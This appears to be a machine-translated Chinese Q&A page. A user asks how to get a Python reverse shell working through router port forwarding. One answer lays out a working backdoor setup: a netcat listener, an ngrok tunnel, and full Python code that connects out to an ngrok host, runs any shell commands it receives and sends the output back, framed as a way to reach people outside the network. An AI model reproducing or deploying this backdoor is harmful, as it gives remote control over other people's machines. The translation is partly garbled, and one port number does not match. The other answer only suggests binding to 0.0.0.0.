1

我用python创建了一个反向shell,我的路由器在端口转发方面有问题。

我没有任何静态IP。

在路由器中:

协议:TCP

Lochealipaddr: 192.168.1.10

本地端口:8090

万尼帕德尔:---

万港:8090

状态:启用

在我的 python 脚本中,我无法绑定我的 wan ip 地址

ST.bind((Wanipaddr, 8090))

如果我在 localipaddr 上绑定,我的反向 shell 客户端无法连接到服务器

我的问题解决方案是什么?

谢谢

4

2 回答 2

1

如果你想使用你的后门来接收局域网外的连接,请使用ngrok

例子:

1-让我们监听端口 4444:

nc -lp 4444

2-安装 ngrok 后,您将运行以下命令:

ngrok tcp 444

3-现在找到ngrok地址

ngrok地址

4-使用您的 ngrok 地址连接到客户端

# backdoor.py
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
HOST = '0.tcp.ngrok.io'
PORT = 12969
s.connect((HOST, PORT))
while True:
     conn = s.recv(2048).decode()
     if conn[:3] == 'cd ':
         os.chdir(conn[3:])
         cmd = ''
     else:
         proc = subprocess.Popen(conn, stdout=subprocess.PIPE,stderr=subprocess.PIPE, stdin=subprocess.DEVNULL, shell=True)
         stdout, stderr = proc.communicate()
         cmd = stdout+stderr
     cmd += str('\n'+os.getcwd()).encode()
     s.send(cmd)

5-现在您可以与网络外的任何人联系

于 2019-08-17T22:01:47.343 回答
0

听起来您的路由器配置为将来自 Internet 的 8090 端口上的请求转发到您的主机(假设您拥有正确的 LAN IP)。也许只是尝试绑定到0.0.0.0.

来自wikipedia,它适合这种情况:

一种指定“任何 IPv4 地址”的方法。在配置服务器时(即绑定监听套接字时)以这种方式使用。

换句话说,您是在告诉您的服务器实质上侦听每个可用的网络接口(在该端口上)。

于 2018-07-30T21:22:55.963 回答